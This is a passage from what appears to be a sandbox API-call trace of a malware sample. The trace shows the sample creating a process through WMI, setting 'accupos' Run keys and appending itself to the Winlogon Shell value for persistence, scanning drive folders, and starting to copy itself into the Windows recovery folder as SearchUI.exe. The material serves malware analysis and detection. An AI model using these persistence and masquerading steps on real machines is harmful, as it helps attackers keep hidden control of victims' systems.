[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511718) returned 0x0 [0123.851] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x3 [0123.851] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x2 [0123.851] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0123.851] WbemLocator:IUnknown:AddRef (This=0x1b511718) returned 0x3 [0123.851] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511718) returned 0x0 [0123.851] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x3 [0123.851] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x2 [0123.851] WbemDefPath:IWbemPath:GetText (in: This=0x6570b0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0123.851] WbemDefPath:IWbemPath:GetText (in: This=0x6570b0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0123.852] IWbemServices:ExecMethod (in: This=0x1b4e1b80, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b469f40, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b425ad0, ppCallResult=0x0) returned 0x0 [0123.908] IWbemClassObject:Get (in: This=0x1b425ad0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df918*=0, plFlavor=0x26df91c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10c4, varVal2=0x0), pType=0x26df918*=19, plFlavor=0x26df91c*=0) returned 0x0 [0123.908] IWbemClassObject:Get (in: This=0x1b425ad0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df918*=19, plFlavor=0x26df91c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10c4, varVal2=0x0), pType=0x26df918*=19, plFlavor=0x26df91c*=0) returned 0x0 [0123.908] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x484) returned 0x0 [0123.908] RegQueryValueExW (in: hKey=0x484, lpValueName="accupos", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0123.908] RegSetValueExW (in: hKey=0x484, lpValueName="accupos", Reserved=0x0, dwType=0x1, lpData="\"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\"", cbData=0x9a | out: lpData="\"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\"") returned 0x0 [0123.909] RegCloseKey (hKey=0x484) returned 0x0 [0123.909] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x484) returned 0x0 [0123.909] RegQueryValueExW (in: hKey=0x484, lpValueName="accupos", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0123.909] RegSetValueExW (in: hKey=0x484, lpValueName="accupos", Reserved=0x0, dwType=0x1, lpData="\"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\"", cbData=0x9a | out: lpData="\"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\"") returned 0x0 [0123.910] RegCloseKey (hKey=0x484) returned 0x0 [0123.910] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x484) returned 0x0 [0123.910] RegQueryValueExW (in: hKey=0x484, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x0, lpcbData=0x1b30d8b0*=0x0 | out: lpType=0x1b30d8b8*=0x1, lpData=0x0, lpcbData=0x1b30d8b0*=0x284) returned 0x0 [0123.910] RegQueryValueExW (in: hKey=0x484, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x26e0758, lpcbData=0x1b30d8b0*=0x284 | out: lpType=0x1b30d8b8*=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\"", lpcbData=0x1b30d8b0*=0x284) returned 0x0 [0123.910] RegQueryValueExW (in: hKey=0x484, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x1, lpData=0x0, lpcbData=0x1b30d880*=0x284) returned 0x0 [0123.910] RegSetValueExW (in: hKey=0x484, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\", \"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\"", cbData=0x320 | out: lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\", \"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\"") returned 0x0 [0123.911] RegCloseKey (hKey=0x484) returned 0x0 [0123.911] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b5440 [0123.911] GetSystemDirectoryW (in: lpBuffer=0x1b4b5440, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0123.911] CoTaskMemFree (pv=0x1b4b5440) [0123.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0123.911] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0123.911] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b48f3d0 [0123.912] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0123.912] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0123.912] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0123.912] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0123.913] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0123.913] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0123.913] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x248b69a0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0123.913] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0123.913] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2555deab, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0123.914] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0123.914] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0123.914] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0123.914] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0123.914] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0123.914] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x25588045, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0123.915] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0123.915] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0123.915] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0123.915] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.915] FindClose (in: hFindFile=0x1b48f3d0 | out: hFindFile=0x1b48f3d0) returned 1 [0123.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0123.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0123.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0123.916] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0123.916] FindFirstFileW (in: lpFileName="C:\\Recovery\\*" (normalized: "c:\\recovery\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f8b0 [0123.916] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.917] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5feba6e9, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5feba6e9, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsRE", cAlternateFileName="WINDOW~1")) returned 1 [0123.917] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.917] FindClose (in: hFindFile=0x1b48f8b0 | out: hFindFile=0x1b48f8b0) returned 1 [0123.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0123.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0123.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0123.917] GetFullPathNameW (in: lpFileName="C:\\Recovery\\WindowsRE", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\WindowsRE", lpFilePart=0x0) returned 0x15 [0123.917] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*" (normalized: "c:\\recovery\\windowsre\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5feba6e9, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5feba6e9, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f490 [0123.918] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5feba6e9, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5feba6e9, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.918] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbaa998b0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x136e0f4d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0123.918] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xbadba904, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5feba6e9, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5feba6e9, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReAgent.xml", cAlternateFileName="")) returned 1 [0123.928] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xe1aeb488, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xe1aeb488, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0x1f0b6c28, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x11b68298, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0123.928] FindNextFileW (in: hFindFile=0x1b48f490, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xe1aeb488, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xe1aeb488, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0x1f0b6c28, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x11b68298, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0123.928] FindClose (in: hFindFile=0x1b48f490 | out: hFindFile=0x1b48f490) returned 1 [0123.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0123.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0123.931] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0123.931] GetFullPathNameW (in: lpFileName="C:\\Recovery\\WindowsRE\\SearchUI.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\WindowsRE\\SearchUI.exe", lpFilePart=0x0) returned 0x22 [0123.931] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), lpNewFileName="C:\\Recovery\\WindowsRE\\SearchUI.exe" (normalized: "c:\\recovery\\windowsre\\searchui.exe"), 